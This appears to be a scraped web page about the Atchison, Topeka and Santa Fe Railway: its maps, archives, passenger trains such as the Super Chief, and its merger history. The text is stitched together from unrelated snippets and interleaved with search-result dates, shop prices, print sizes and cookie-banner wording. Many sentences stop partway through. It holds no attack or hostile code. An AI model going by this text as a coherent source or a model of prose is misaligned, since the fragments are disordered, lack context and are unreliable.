1994 (22”x17” 56cm x 43 cm) 1158 Santa Fe Railway Calendar 1995 (22” x 17” 56cm x 43cm) The Santa Fe Southern Railway (reporting mark SFSR) is a short line railroad in New Mexico, United States. Image of a map of the United States showing the railroad routes from Kansas to California and Mexico of the Atchison, Topeka, and Santa Fe, and connecting lines; map verso contains panels with railroad 1960s (provided by William Keene) 1988 Illinois Division (provided by Steve Sandifer) City Index (694 KB) Ottawa to Chanute (337 KB) Chanute to Tulsa (591 KB) Chanute to Wellington (510 KB) 1992 (Revised through February, 1992) (provided by Steve Sandifer) Many 1952 Track charts are on this website. What led the Santa Fe to becoming an industrial icon was the introduction of the Chief passenger train in late 1926, and then the Super ten years later. 99 / Size : 24in x 16in Size. Sep 7, 2024 · It was so thick with railroads the state's peak network approached 10,000 miles. One of the Santa Fe's rebuilt GP7's, #1315, and a slug, were photographed here outside of the Argent Mills plant in Saginaw, Texas, circa 1983. ), shows Santa Fe RY in Texas by Red Lines. aka, the SANTA FE. At the center of the nation, Kansas served as a crossroads to the West. . In 1905 the Los Angeles and Salt Lake RR signed a trackage rights agreement with the Santa Fe in order to gain access to the Los Angeles region via Santa Fe’s This atlas, in two editions, contains maps for the land traversed by the Santa Fe Railroad. The AT&SF had been building west from Topeka, Kansas since 1860 and the D&RG was chartered a decade later in 1870 hoping to connect Denver with El Paso, Texas and eventually Mexico. The town was later named after the president of the Santa Fe, William Barstow Strong. ) Language. Since Kansas Union Pacific Railroad Burlington Northern Santa Fe Railway rizona & C alfo n a R il oad (Rail America Corp) Arizona Eastern Railroad (Rail America Corp) Grand Canyon Railway San Pedro & Southwestern Railroad (Rail America Corp) Copper Basin Railway (Rail Management Corp) Apache Railway (Abitibi International) The Calico Railroad (later called the Daggett-Calico Railroad) started hauling ore from Calico to the Oro Grande Milling Company, across the river from Daggett in 1888. Dec 31, 1996 · The Atchison, Topeka and Santa Fe Railway (reporting mark ATSF), often referred to as the Santa Fe or AT&SF, was one of the larger railroads in the United States. ATSF Santa Fe #3909 (2-10-2) is a member of the 3800 class 2-10-2s. Old Map of Santa Fe railroad map, vintage 1888 rail road map, antique map of United States trains, retro map, train history art, southwest (5. 87 x 95. In addition to carrying freight on occasion, it also operates as a tourist railroad called Sky Railway that carries passengers between Lamy and Santa Fe: a distance of 18. The train was known as the “Train of the Stars” due to the frequent celebrities which traveled on the train between Chicago, IL and Los Angeles, CA. All of the region's major carriers served Kansas although the Santa Fe and Missouri Pacific provided the greatest coverage. Historic Map : Growth of the Santa Fe (Railway). “And Southern California made the Santa Fe. After 1995 that all changed when the Santa Fe merged with Burlington Northern Railroad becoming the Burlington Northern Santa Fe Railway (today simply known as the BNSF Railway) and Southern Pacific was purchased by Union Pacific Railroad in 1996. Shows drainage, cities and towns, township and county boundaries, and the railroad network with emphasis on the main line. Aug 23, 2024 · The Santa Fe reluctantly handed over its illustrious flagship to Amtrak and interestingly this hesitation proved justified. After watching service decline during the first few years Santa Fe requested Amtrak drop the Super Chief designation during March of 1974. The Santa Fe Railway Historical & Modeling Society brings resources to the public in a wide variety of ways, including through its publications, book reviews, its Temple, Texas and San Bernardino, California archives, its online resources, the Kistler-Middlebrook-Kogan Photo Archival Collection, and its A map depicting the "Grand Canyon Route" of the Atchison, Topeka & Santa Fe Railway c. 3 To pick up mail in communities not scheduled for stops, clerks on mail trains used a special catcher arm to retrieve pouches of mail suspended along the track. The railroad was chartered in February 1859 to serve the cities of Atchison and Topeka, Kansas, and Santa Fe, New Mexico. By 1980 Santa Fe, which had been the top railroad in route mileage in the 1950s, was The History of Santa Fe Rail Testing and Rail Test Cars by W. Holliday is credited with inaugurating the Santa Fe railroad system when he wrote the charter. Steve Glischinski notes in his book, "Santa Fe Railway," the Atchison, Topeka & Santa Fe and SP announced on May 15, 1980 they would become one to form the Southern Pacific & Santa Fe Railway. Trails traversed the area even before the Santa Fe Trail commerce route opened in 1821. It is intended to be a one-stop source of reference material on these railroads, with an emphasis on the 1950's and 1960's period. Performance cookies are used to understand and analyze the key performance indexes of the website which helps in delivering a better user experience Technical. The railroad was then built southwest from Benson, Arizona, to Nogales on the Mexican border, where it connected with the Sonora Railway. The train is pulled by a diesel-electric locomotive and features aluminum-sided streamline Pullman cars. in Galveston, TX (Gulf, Colorado & Santa Fe RY Co. See track charts, junction records, joint facilities records and industry track records of the Santa Fe Railway from the Temple Archives. These cookies help provide information on metrics such as the number of visitors, bounce rate, traffic source, etc. [1] Sep 7, 2024 · From that point, cross-reference the rail line against Google Maps (satellite view) of any you know of or believe which are abandoned. However thanks to the 1905 Map, published by ATSF RR Co. Denver's RailRoads is a website dedicated to the that connected directly or indirectly with other railroads at Denver. 8, between Los Angeles and Chicago, during the first decade after World War II, would begin with 1926 map of Santa Fe lines in Texas, Oklahoma, and Louisiana, with GCSF routes clearly marked; Texas Santa Fe History Archived February 2, 2011, at the Wayback Machine a website devoted to the history of the Gulf, Colorado and Santa Fe Railway in Texas. Nov 23, 2022 · The only thing I really have in that vein is a 1950-ish map of signaled and mutiple track lines sourced from an old georgaphy journal, which is certainly useful, but doesn't tell a complete story (If I recall correctly it was more-or-less reproduced in Trains about 15 years ago). Hayes occupied the White House. Passenger Diesel Assignment 1950. 4 ft 8 + 1⁄2 in (1,435 mm) standard gauge. After defeating a hostile takeover attempt, the firm sold the The Eastern Lines kept an index in two categories, billing list and voucher list, along with the maps. Salim Mohammed, curator of this enormous online collection, calls it "map heaven", and that it is. The AT&SF and its many subsidiaries served a wide area of the Southwest, from its being chartered in 1859 to its merger to form the Burlington Northern and Santa Fe Railway in 1996. That same year, the Santa Fe Railroad arrived in town. Passenger Diesel Assignment 1951. The Super Chief passenger train was the flagship of the Atchison, Topeka and Santa Fe Railroad. youtube. Includes progress report surveys for individual lines, official government surveys, promotional maps and route guides by individual firms which help document the development of U. RAILROAD SIGNALS HOME. English [eng] Description. Disclaimers: Pictures and additional information is always needed if anyone feels inclined to take 'em, send 'em, and share 'em, or if you have something to add or correct. , 1950, Vintage Wall Decor Regular price $49. 1 miles (29. “The Santa Fe made Southern California,” says Richard White, a railroad historian. David Rumsey Historical Map Collection: G. The Santa Fe began as a rail line along the old Santa Fe and Spanish Trails, from the confluence of the Missouri and Kansas rivers (at Aug 7, 2020 · In 1983 Santa Fe Industries merged with the Southern Pacific Company to form Santa Fe Southern Pacific Corporation, but the Interstate Commerce Commission rejected the proposed merger of the Atchison, Topeka and Santa Fe Railway with the Southern Pacific Transportation Company. 37, No. Aug 23, 2024 · To do so, Southern Pacific sought merger with a stronger carrier. RAILFAN GUIDES HOME. The Santa Fe was the vision of Colonel Cyrus K. This includes . (28-M-C-1) A trip on the Santa Fe Railroad's "fast mail" train No. Amtrak’s modern-day Texas Eagle route is a direct descendant of the route shown here. Understandably, the AT&SF – who Following the completion of this line new railroads began spreading throughout the region, which included the Santa Fe and Denver & Rio Grande Railway. 8k) Sale Price $13. of the Atchison Topeka and Santa Fe Railway from about 1935 to 1971. In 1948 Fortune magazine named it the Nation's Number One Railroad. Made in the 1950s, THE PASSENGER TRAIN is an educational film that shows a boy named Bobby making a cross-country trip aboard a Santa Fe Railroad train known as the The Chief. Aug 25, 2024 · By the early 1950s the railroad felt it needed its own streamliner to San Francisco since the UP and SP operated the joint City of San Francisco and the latter provided a bevy of regional services such as the Lark, Starlight, Shasta Daylight, and San Joaquin Daylight reaching the Bay Area. com/channel/UCddem5RlB3bQe99wyY49g0g/joinWant to learn more about Periscope Film and get access Atchison, Topeka & Santa Fe Railway company records, 1896-1950 - MS 1253-MS 1254, includes Fred Harvey Company materials AT&SF related collections: Fred Harvey System Business Records, 1937-1946 Aug 25, 2024 · The Santa Fe, albeit no longer an operating company, is truly a railroad whose name is as common as that of Coca Cola or General Electric. 57 cm (24 3/4 x 37 5/8 in. The Santa Fe Railway Historical & Modeling Society has no direct relationship with the BNSF Railway nor does it receive financial support from the BNSF Railway. The central purpose of a historical society is to make resources available to the public. Cyrus K. These maps show the track layout and facilities of the railroad in different regions and divisions. At one time the Atchison, Topeka and Santa Fe Railway was the world's most famous transportation company. 1901. And before the fall of 1924 this also included the oft forgotten El Paso & Southwestern, a later SP subsidiary. May 8, 2024 · The Santa Fe Railroad had completed the mainline from Chicago to Los Angeles by 1889, making it one of the country’s most important railroads and one of the few that directly connected the Midwest with the Gulf of Mexico and the Pacific Ocean. Santa Fe Railway. In 1954 the train received full-length dome cars that the Santa Fe named "Big Domes," allowing passengers unparalleled views of the spectacular scenery along the Santa Fe's Chicago to Los Angeles Transcon main line. There were railroads and then there was the Santa Fe. Cars repainted after then received the map and slogan stenciling, although during World War II some repainted cars in the overall reefer fleet were not given the map and slogan stencils as a labor and cost saving measure. Bureau of Safety following increasing numbers of sudden, sometimes Santa Fe dropped the Navajo from the timetable in 1939. 12 Mar 29, 2010 · Super Chief Pullman Drawing Room – By day and by night. 99. 13,115 miles (21,107 km) The Atchison, Topeka and Santa Fe Railway (reporting mark ATSF), often referred to as the Santa Fe or AT&SF, was one of the largest Class 1 railroads in the United States between 1859 and 1996. 8 Speeds Eastward Fall 2005, Vol. S. According to Steve Glischinski's book, "Santa Fe Railway," in its quest to drive further westward, spearheaded by leader William Barstow Strong, it had pushed some 178 miles into New Mexico by the end of 1879. System Maps. Apr 27, 2020 · The Santa Fe Railway is Classic Trains' Railroad of the Month for May 2020. It operated from 1938 to 1971; Amtrak retained the name until 1973. The Gulf Lines maintained a summary record of the contract and a map. RG stands for Record Group, a division of records by an agency that created or maintained them. 24in x 16in $49. Jul 19, 2017 · A Typical Day as Train No. The paper is toned, discolored. 1980. [1] The Santa Fe was a pioneer in intermodal Jul 17, 2016 · the ATCHISON, TOPEKA, and SANTA FE RR. Santa Fe and BNSF trademarks are used with the permission of the BNSF Railway Company. Analytical cookies are used to understand how visitors interact with the website. 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